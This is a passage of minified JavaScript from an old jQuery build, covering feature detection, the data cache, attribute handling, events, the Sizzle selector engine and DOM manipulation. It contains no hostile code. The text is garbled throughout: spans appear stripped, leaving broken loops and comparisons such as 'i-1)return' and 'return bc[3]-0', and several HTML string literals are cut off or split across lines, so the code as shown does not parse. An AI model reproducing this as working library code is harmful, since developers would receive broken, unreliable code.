a";var e=b.getElementsByTagName("*"),f=b.getElementsByTagName("a")[0],g=c.createElement("select"),h=g.appendChild(c.createElement("option"));if(e&&e.length&&f){d.support={leadingWhitespace:b.firstChild.nodeType===3,tbody:!b.getElementsByTagName("tbody").length,htmlSerialize:!!b.getElementsByTagName("link").length,style:/red/.test(f.getAttribute("style")),hrefNormalized:f.getAttribute("href")==="/a",opacity:/^0.55$/.test(f.style.opacity),cssFloat:!!f.style.cssFloat,checkOn:b.getElementsByTagName("input")[0].value==="on",optSelected:h.selected,deleteExpando:!0,optDisabled:!1,checkClone:!1,_scriptEval:null,noCloneEvent:!0,boxModel:null,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableHiddenOffsets:!0},g.disabled=!0,d.support.optDisabled=!h.disabled,d.support.scriptEval=function(){if(d.support._scriptEval===null){var b=c.documentElement,e=c.createElement("script"),f="script"+d.now();e.type="text/javascript";try{e.appendChild(c.createTextNode("window."+f+"=1;"))}catch(g){}b.insertBefore(e,b.firstChild),a[f]?(d.support._scriptEval=!0,delete a[f]):d.support._scriptEval=!1,b.removeChild(e),b=e=f=null}return d.support._scriptEval};try{delete b.test}catch(i){d.support.deleteExpando=!1}b.attachEvent&&b.fireEvent&&(b.attachEvent("onclick",function j(){d.support.noCloneEvent=!1,b.detachEvent("onclick",j)}),b.cloneNode(!0).fireEvent("onclick")),b=c.createElement("div"),b.innerHTML="";var k=c.createDocumentFragment();k.appendChild(b.firstChild),d.support.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,d(function(){var a=c.createElement("div"),b=c.getElementsByTagName("body")[0];if(b){a.style.width=a.style.paddingLeft="1px",b.appendChild(a),d.boxModel=d.support.boxModel=a.offsetWidth===2,"zoom"in a.style&&(a.style.display="inline",a.style.zoom=1,d.support.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display="",a.innerHTML="
",d.support.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML="
t
";var e=a.getElementsByTagName("td");d.support.reliableHiddenOffsets=e[0].offsetHeight===0,e[0].style.display="",e[1].style.display="none",d.support.reliableHiddenOffsets=d.support.reliableHiddenOffsets&&e[0].offsetHeight===0,a.innerHTML="",b.removeChild(a).style.display="none",a=e=null}});var l=function(a){var b=c.createElement("div");a="on"+a;if(!b.attachEvent)return!0;var d=a in b;d||(b.setAttribute(a,"return;"),d=typeof b[a]==="function"),b=null;return d};d.support.submitBubbles=l("submit"),d.support.changeBubbles=l("change"),b=e=f=null}})();var e=/^(?:\{.*\}|\[.*\])$/;d.extend({cache:{},uuid:0,expando:"jQuery"+(d.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?d.cache[a[d.expando]]:a[d.expando];return!!a&&!d.isEmptyObject(a)},data:function(a,c,e,f){if(d.acceptData(a)){var g=d.expando,h=typeof c==="string",i,j=a.nodeType,k=j?d.cache:a,l=j?a[d.expando]:a[d.expando]&&d.expando;if((!l||f&&l&&!k[l][g])&&h&&e===b)return;l||(j?a[d.expando]=l=++d.uuid:l=d.expando),k[l]||(k[l]={}),typeof c==="object"&&(f?k[l][g]=d.extend(k[l][g],c):k[l]=d.extend(k[l],c)),i=k[l],f&&(i[g]||(i[g]={}),i=i[g]),e!==b&&(i[c]=e);if(c==="events"&&!i[c])return i[g]&&i[g].events;return h?i[c]:i}},removeData:function(b,c,e){if(d.acceptData(b)){var f=d.expando,g=b.nodeType,h=g?d.cache:b,i=g?b[d.expando]:d.expando;if(!h[i])return;if(c){var j=e?h[i][f]:h[i];if(j){delete j[c];if(!d.isEmptyObject(j))return}}if(e){delete h[i][f];if(!d.isEmptyObject(h[i]))return}var k=h[i][f];d.support.deleteExpando||h!=a?delete h[i]:h[i]=null,k?(h[i]={},h[i][f]=k):g&&(d.support.deleteExpando?delete b[d.expando]:b.removeAttribute?b.removeAttribute(d.expando):b[d.expando]=null)}},_data:function(a,b,c){return d.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=d.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),d.fn.extend({data:function(a,c){var e=null;if(typeof a==="undefined"){if(this.length){e=d.data(this[0]);if(this[0].nodeType===1){var g=this[0].attributes,h;for(var i=0,j=g.length;i-1)return!0;return!1},val:function(a){if(!arguments.length){var c=this[0];if(c){if(d.nodeName(c,"option")){var e=c.attributes.value;return!e||e.specified?c.value:c.text}if(d.nodeName(c,"select")){var f=c.selectedIndex,g=[],h=c.options,j=c.type==="select-one";if(f<0)return null;for(var k=j?f:0,l=j?f+1:h.length;k=0;else if(d.nodeName(this,"select")){var f=d.makeArray(e);d("option",this).each(function(){this.selected=d.inArray(d(this).val(),f)>=0}),f.length||(this.selectedIndex=-1)}else this.value=e}})}}),d.extend({attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,e,f){if(!a||a.nodeType===3||a.nodeType===8||a.nodeType===2)return b;if(f&&c in d.attrFn)return d(a)[c](e);var g=a.nodeType!==1||!d.isXMLDoc(a),h=e!==b;c=g&&d.props[c]||c;if(a.nodeType===1){var i=j.test(c);if(c==="selected"&&!d.support.optSelected){var n=a.parentNode;n&&(n.selectedIndex,n.parentNode&&n.parentNode.selectedIndex)}if((c in a||a[c]!==b)&&g&&!i){h&&(c==="type"&&k.test(a.nodeName)&&a.parentNode&&d.error("type property can't be changed"),e===null?a.nodeType===1&&a.removeAttribute(c):a[c]=e);if(d.nodeName(a,"form")&&a.getAttributeNode(c))return a.getAttributeNode(c).nodeValue;if(c==="tabIndex"){var o=a.getAttributeNode("tabIndex");return o&&o.specified?o.value:l.test(a.nodeName)||m.test(a.nodeName)&&a.href?0:b}return a[c]}if(!d.support.style&&g&&c==="style"){h&&(a.style.cssText=""+e);return a.style.cssText}h&&a.setAttribute(c,""+e);if(!a.attributes[c]&&(a.hasAttribute&&!a.hasAttribute(c)))return b;var p=!d.support.hrefNormalized&&g&&i?a.getAttribute(c,2):a.getAttribute(c);return p===null?b:p}h&&(a[c]=e);return a[c]}});var o=/\.(.*)$/,p=/^(?:textarea|input|select)$/i,q=/\./g,r=/ /g,s=/[^\w\s.|`]/g,t=function(a){return a.replace(s,"\\$&")},u="events";d.event={add:function(c,e,f,g){if(c.nodeType!==3&&c.nodeType!==8){d.isWindow(c)&&(c!==a&&!c.frameElement)&&(c=a);if(f===!1)f=v;else if(!f)return;var h,i;f.handler&&(h=f,f=h.handler),f.guid||(f.guid=d.guid++);var j=d._data(c);if(!j)return;var k=j[u],l=j.handle;typeof k==="function"?(l=k.handle,k=k.events):k||(c.nodeType||(j[u]=j=function(){}),j.events=k={}),l||(j.handle=l=function(){return typeof d!=="undefined"&&!d.event.triggered?d.event.handle.apply(l.elem,arguments):b}),l.elem=c,e=e.split(" ");var m,n=0,o;while(m=e[n++]){i=h?d.extend({},h):{handler:f,data:g},m.indexOf(".")>-1?(o=m.split("."),m=o.shift(),i.namespace=o.slice(0).sort().join(".")):(o=[],i.namespace=""),i.type=m,i.guid||(i.guid=f.guid);var p=k[m],q=d.event.special[m]||{};if(!p){p=k[m]=[];if(!q.setup||q.setup.call(c,g,o,l)===!1)c.addEventListener?c.addEventListener(m,l,!1):c.attachEvent&&c.attachEvent("on"+m,l)}q.add&&(q.add.call(c,i),i.handler.guid||(i.handler.guid=f.guid)),p.push(i),d.event.global[m]=!0}c=null}},global:{},remove:function(a,c,e,f){if(a.nodeType!==3&&a.nodeType!==8){e===!1&&(e=v);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=d.hasData(a)&&d._data(a),w=s&&s[u];if(!s||!w)return;typeof w==="function"&&(s=w,w=w.events),c&&c.type&&(e=c.handler,c=c.type);if(!c||typeof c==="string"&&c.charAt(0)==="."){c=c||"";for(h in w)d.event.remove(a,h+c);return}c=c.split(" ");while(h=c[k++]){r=h,q=null,l=h.indexOf(".")<0,m=[],l||(m=h.split("."),h=m.shift(),n=new RegExp("(^|\\.)"+d.map(m.slice(0).sort(),t).join("\\.(?:.*\\.)?")+"(\\.|$)")),p=w[h];if(!p)continue;if(!e){for(j=0;j=0&&(a.type=f=f.slice(0,-1),a.exclusive=!0),e||(a.stopPropagation(),d.event.global[f]&&d.each(d.cache,function(){var b=d.expando,e=this[b];e&&e.events&&e.events[f]&&d.event.trigger(a,c,e.handle.elem)}));if(!e||e.nodeType===3||e.nodeType===8)return b;a.result=b,a.target=e,c=d.makeArray(c),c.unshift(a)}a.currentTarget=e;var h=e.nodeType?d._data(e,"handle"):(d._data(e,u)||{}).handle;h&&h.apply(e,c);var i=e.parentNode||e.ownerDocument;try{e&&e.nodeName&&d.noData[e.nodeName.toLowerCase()]||e["on"+f]&&e["on"+f].apply(e,c)===!1&&(a.result=!1,a.preventDefault())}catch(j){}if(!a.isPropagationStopped()&&i)d.event.trigger(a,c,i,!0);else if(!a.isDefaultPrevented()){var k,l=a.target,m=f.replace(o,""),n=d.nodeName(l,"a")&&m==="click",p=d.event.special[m]||{};if((!p._default||p._default.call(e,a)===!1)&&!n&&!(l&&l.nodeName&&d.noData[l.nodeName.toLowerCase()])){try{l[m]&&(k=l["on"+m],k&&(l["on"+m]=null),d.event.triggered=!0,l[m]())}catch(q){}k&&(l["on"+m]=k),d.event.triggered=!1}}},handle:function(c){var e,f,g,h,i,j=[],k=d.makeArray(arguments);c=k[0]=d.event.fix(c||a.event),c.currentTarget=this,e=c.type.indexOf(".")<0&&!c.exclusive,e||(g=c.type.split("."),c.type=g.shift(),j=g.slice(0).sort(),h=new RegExp("(^|\\.)"+j.join("\\.(?:.*\\.)?")+"(\\.|$)")),c.namespace=c.namespace||j.join("."),i=d._data(this,u),typeof i==="function"&&(i=i.events),f=(i||{})[c.type];if(i&&f){f=f.slice(0);for(var l=0,m=f.length;l-1?d.map(a.options,function(a){return a.selected}).join("-"):"":a.nodeName.toLowerCase()==="select"&&(c=a.selectedIndex);return c},B=function B(a){var c=a.target,e,f;if(p.test(c.nodeName)&&!c.readOnly){e=d._data(c,"_change_data"),f=A(c),(a.type!=="focusout"||c.type!=="radio")&&d._data(c,"_change_data",f);if(e===b||f===e)return;if(e!=null||f){a.type="change",a.liveFired=b;return d.event.trigger(a,arguments[1],c)}}};d.event.special.change={filters:{focusout:B,beforedeactivate:B,click:function(a){var b=a.target,c=b.type;if(c==="radio"||c==="checkbox"||b.nodeName.toLowerCase()==="select")return B.call(this,a)},keydown:function(a){var b=a.target,c=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(c==="checkbox"||c==="radio")||c==="select-multiple")return B.call(this,a)},beforeactivate:function(a){var b=a.target;d._data(b,"_change_data",A(b))}},setup:function(a,b){if(this.type==="file")return!1;for(var c in z)d.event.add(this,c+".specialChange",z[c]);return p.test(this.nodeName)},teardown:function(a){d.event.remove(this,".specialChange");return p.test(this.nodeName)}},z=d.event.special.change.filters,z.focus=z.beforeactivate}c.addEventListener&&d.each({focus:"focusin",blur:"focusout"},function(a,b){function c(a){a=d.event.fix(a),a.type=b;return d.event.handle.call(this,a)}d.event.special[b]={setup:function(){this.addEventListener(a,c,!0)},teardown:function(){this.removeEventListener(a,c,!0)}}}),d.each(["bind","one"],function(a,c){d.fn[c]=function(a,e,f){if(typeof a==="object"){for(var g in a)this[c](g,e,a[g],f);return this}if(d.isFunction(e)||e===!1)f=e,e=b;var h=c==="one"?d.proxy(f,function(a){d(this).unbind(a,h);return f.apply(this,arguments)}):f;if(a==="unload"&&c!=="one")this.one(a,e,f);else for(var i=0,j=this.length;i0?this.bind(b,a,c):this.trigger(b)},d.attrFn&&(d.attrFn[b]=!0)}),function(){function s(a,b,c,d,e,f){for(var g=0,h=d.length;g0){k=j;break}}j=j[a]}d[g]=k}}}function r(a,b,c,d,e,f){for(var g=0,h=d.length;g+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,f=Object.prototype.toString,g=!1,h=!0;[0,0].sort(function(){h=!1;return 0});var i=function(b,d,e,g){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!=="string")return e;var l,m,o,p,q,r,s,u,v=!0,w=i.isXML(d),x=[],y=b;do{a.exec(""),l=a.exec(y);if(l){y=l[3],x.push(l[1]);if(l[2]){p=l[3];break}}}while(l);if(x.length>1&&k.exec(b))if(x.length===2&&j.relative[x[0]])m=t(x[0]+x[1],d);else{m=j.relative[x[0]]?[d]:i(x.shift(),d);while(x.length)b=x.shift(),j.relative[b]&&(b+=x.shift()),m=t(b,m)}else{!g&&x.length>1&&d.nodeType===9&&!w&&j.match.ID.test(x[0])&&!j.match.ID.test(x[x.length-1])&&(q=i.find(x.shift(),d,w),d=q.expr?i.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:n(g)}:i.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&d.parentNode?d.parentNode:d,w),m=q.expr?i.filter(q.expr,q.set):q.set,x.length>0?o=n(m):v=!1;while(x.length)r=x.pop(),s=r,j.relative[r]?s=x.pop():r="",s==null&&(s=d),j.relative[r](o,s,w)}else o=x=[]}o||(o=m),o||i.error(r||b);if(f.call(o)==="[object Array]")if(v)if(d&&d.nodeType===1)for(u=0;o[u]!=null;u++)o[u]&&(o[u]===!0||o[u].nodeType===1&&i.contains(d,o[u]))&&e.push(m[u]);else for(u=0;o[u]!=null;u++)o[u]&&o[u].nodeType===1&&e.push(m[u]);else e.push.apply(e,o);else n(o,e);p&&(i(p,h,e,g),i.uniqueSort(e));return e};i.uniqueSort=function(a){if(p){g=h,a.sort(p);if(g)for(var b=1;b0},i.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=j.order.length;e":function(a,b){var c,d=typeof b==="string",e=0,f=a.length;if(d&&!/\W/.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(/\\/g,"")},TAG:function(a,b){return a[1].toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||i.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&i.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(/\\/g,"");!f&&j.attrMap[g]&&(a[1]=j.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(/\\/g,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=i(b[3],null,null,c);else{var g=i.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(j.match.POS.test(b[0])||j.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!i(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){return"text"===a.type},radio:function(a){return"radio"===a.type},checkbox:function(a){return"checkbox"===a.type},file:function(a){return"file"===a.type},password:function(a){return"password"===a.type},submit:function(a){return"submit"===a.type},image:function(a){return"image"===a.type},reset:function(a){return"reset"===a.type},button:function(a){return"button"===a.type||a.nodeName.toLowerCase()==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=j.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||i.getText([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,k=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=j.attrHandle[c]?j.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=j.setFilters[e];if(f)return f(a,c,b,d)}}},k=j.match.POS,l=function(a,b){return"\\"+(b-0+1)};for(var m in j.match)j.match[m]=new RegExp(j.match[m].source+/(?![^\[]*\])(?![^\(]*\))/.source),j.leftMatch[m]=new RegExp(/(^(?:.|\r|\n)*?)/.source+j.match[m].source.replace(/\\(\d+)/g,l));var n=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(o){n=function(a,b){var c=0,d=b||[];if(f.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length==="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(j.find.ID=function(a,c,d){if(typeof c.getElementById!=="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},j.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(j.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!=="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(j.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=i,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){i=function(b,e,f,g){e=e||c;if(!g&&!i.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return n(e.getElementsByTagName(b),f);if(h[2]&&j.find.CLASS&&e.getElementsByClassName)return n(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return n([e.body],f);if(h&&h[3]){var k=e.getElementById(h[3]);if(!k||!k.parentNode)return n([],f);if(k.id===h[3])return n([k],f)}try{return n(e.querySelectorAll(b),f)}catch(l){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var m=e.getAttribute("id"),o=m||d,p=e.parentNode,q=/^\s*[+~]/.test(b);m?o=o.replace(/'/g,"\\$&"):e.setAttribute("id",o),q&&p&&(e=e.parentNode);try{if(!q||p)return n(e.querySelectorAll("[id='"+o+"'] "+b),f)}catch(r){}finally{m||e.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)i[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector,d=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(e){d=!0}b&&(i.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!i.isXML(a))try{if(d||!j.match.PSEUDO.test(c)&&!/!=/.test(c))return b.call(a,c)}catch(e){}return i(c,null,null,[a]).length>0})}(),function(){var a=c.createElement("div");a.innerHTML="
";if(a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;j.order.splice(1,0,"CLASS"),j.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?i.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?i.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:i.contains=function(){return!1},i.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var t=function(a,b){var c,d=[],e="",f=b.nodeType?[b]:b;while(c=j.match.PSEUDO.exec(a))e+=c[0],a=a.replace(j.match.PSEUDO,"");a=j.relative[a]?a+"*":a;for(var g=0,h=f.length;g0)for(var g=c;g0},closest:function(a,b){var c=[],e,f,g=this[0];if(d.isArray(a)){var h,i,j={},k=1;if(g&&a.length){for(e=0,f=a.length;e-1:d(g).is(h))&&c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=L.test(a)?d(a,b||this.context):null;for(e=0,f=this.length;e-1:d.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b)break}}c=c.length>1?d.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a||typeof a==="string")return d.inArray(this[0],a?d(a):this.parent().children());return d.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==="string"?d(a,b):d.makeArray(a),e=d.merge(this.get(),c);return this.pushStack(N(c[0])||N(e[0])?e:d.unique(e))},andSelf:function(){return this.add(this.prevObject)}}),d.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return d.dir(a,"parentNode")},parentsUntil:function(a,b,c){return d.dir(a,"parentNode",c)},next:function(a){return d.nth(a,2,"nextSibling")},prev:function(a){return d.nth(a,2,"previousSibling")},nextAll:function(a){return d.dir(a,"nextSibling")},prevAll:function(a){return d.dir(a,"previousSibling")},nextUntil:function(a,b,c){return d.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return d.dir(a,"previousSibling",c)},siblings:function(a){return d.sibling(a.parentNode.firstChild,a)},children:function(a){return d.sibling(a.firstChild)},contents:function(a){return d.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:d.makeArray(a.childNodes)}},function(a,b){d.fn[a]=function(c,e){var f=d.map(this,b,c),g=K.call(arguments);G.test(a)||(e=c),e&&typeof e==="string"&&(f=d.filter(e,f)),f=this.length>1&&!M[a]?d.unique(f):f,(this.length>1||I.test(e))&&H.test(a)&&(f=f.reverse());return this.pushStack(f,a,g.join(","))}}),d.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?d.find.matchesSelector(b[0],a)?[b[0]]:[]:d.find.matches(a,b)},dir:function(a,c,e){var f=[],g=a[c];while(g&&g.nodeType!==9&&(e===b||g.nodeType!==1||!d(g).is(e)))g.nodeType===1&&f.push(g),g=g[c];return f},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var P=/ jQuery\d+="(?:\d+|null)"/g,Q=/^\s+/,R=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,S=/<([\w:]+)/,T=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};X.optgroup=X.option,X.tbody=X.tfoot=X.colgroup=X.caption=X.thead,X.th=X.td,d.support.htmlSerialize||(X._default=[1,"div
","
"]),d.fn.extend({text:function(a){if(d.isFunction(a))return this.each(function(b){var c=d(this);c.text(a.call(this,b,c.text()))});if(typeof a!=="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return d.text(this)},wrapAll:function(a){if(d.isFunction(a))return this.each(function(b){d(this).wrapAll(a.call(this,b))});if(this[0]){var b=d(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(d.isFunction(a))return this.each(function(b){d(this).wrapInner(a.call(this,b))});return this.each(function(){var b=d(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){d(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){d.nodeName(this,"body")||d(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=d(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,d(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,e;(e=this[c])!=null;c++)if(!a||d.filter(a,[e]).length)!b&&e.nodeType===1&&(d.cleanData(e.getElementsByTagName("*")),d.cleanData([e])),e.parentNode&&e.parentNode.removeChild(e);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&d.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!0:a,b=b==null?a:b;return this.map(function(){return d.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(P,""):null;if(typeof a!=="string"||V.test(a)||!d.support.leadingWhitespace&&Q.test(a)||X[(S.exec(a)||["",""])[1].toLowerCase()])d.isFunction(a)?this.each(function(b){var c=d(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);else{a=a.replace(R,"<$1>");try{for(var c=0,e=this.length;c1&&l0?this.clone(!0):this).get();d(f[h])[b](j),e=e.concat(j)}return this.pushStack(e,a,f.selector)}}),d.extend({clone:function(a,b,c){var e=a.cloneNode(!0),f,g,h;if(!d.support.noCloneEvent&&(a.nodeType===1||a.nodeType===11)&&!d.isXMLDoc(a)){f=a.getElementsByTagName("*"),g=e.getElementsByTagName("*");for(h=0;f[h];++h)$(f[h],g[h]);$(a,e)}if(b){Z(a,e);if(c&&"getElementsByTagName"in a){f=a.getElementsByTagName("*"),g=e.getElementsByTagName("*");if(f.length)for(h=0;f[h];++h)Z(f[h],g[h])}}return e},clean:function(a,b,e,f){b=b||c,typeof b.createElement==="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var g=[];for(var h=0,i;(i=a[h])!=null;h++){typeof i==="number"&&(i+="");if(!i)continue;if(typeof i!=="string"||U.test(i)){if(typeof i==="string"){i=i.replace(R,"<$1>");var j=(S.exec(i)||["",""])[1].toLowerCase(),k=X[j]||X._default,l=k[0],m=b.createElement("div");m.innerHTML=k[1]+i+k[2];while(l--)m=m.lastChild;if(!d.support.tbody){var n=T.test(i),o=j==="table"&&!n?m.firstChild&&m.firstChild.childNodes:k[1]===""&&!n?m.childNodes:[];for(var p=o.length-1;p>=0;--p)d.nodeName(o[p],"tbody")&&!o[p].childNodes.length&&o[p].parentNode.removeChild(o[p])}!d.support.leadingWhitespace&&Q.test(i)&&m.insertBefore(b.createTextNode(Q.exec(i)[0]),m.firstChild),i=m.childNodes}}else i=b.createTextNode(i);i.nodeType?g.push(i):g=d.merge(g,i)}if(e)for(h=0;g[h];h++)!f||!d.nodeName(g[h],"script")||g[h].type&&g[h].type.toLowerCase()!=="text/javascript"?(g[h].nodeType===1&&g.splice.apply(g,[h+1,0].concat(d.makeArray(g[h].getElementsByTagName("script")))),e.appendChild(g[h])):f.push(g[h].parentNode?g[h].parentNode.removeChild(g[h]):g[h]);return g},cleanData:function(a){var b,c,e=d.cache,f=d.expando,g=d.event.special,h=d.support.deleteExpando;for(var i=0,j;(j=a[i])!=null;i++){if(j.nodeName&&d.noData[j.nodeName.toLowerCase()])continue;c=j[d.expando];if(c){b=e[c]&&e[c][f];if(b&&b.events){for(var k in b.events)g[k]?d.event.remove(j,k):d.removeEvent(j,k,b.handle);b.handle&&(b.handle.elem=null)}h?delete j[d.expando]:j.removeAttribute&&j.removeAttribute(d.expando),delete e[c]}}}});var ba=/alpha\([^)]*\)/i,bb=/opacity=([^)]*)/,bc=/-([a-z])/ig,bd=/([A-Z])/g,be=/^-?\d+(?:px)?$/i,bf=/^-?\d/,bg={position:"absolute",visibility:"hidden",display:"block"},bh=["Left","Right"],bi=["Top","Bottom"],bj,bk,bl,bm=function(a,b){return b.toUpperCase()};d.fn.css=function(a,c){if(arguments.length===2&&c===b)return this;return d.access(this,a,c,!0,function(a,c,e){return 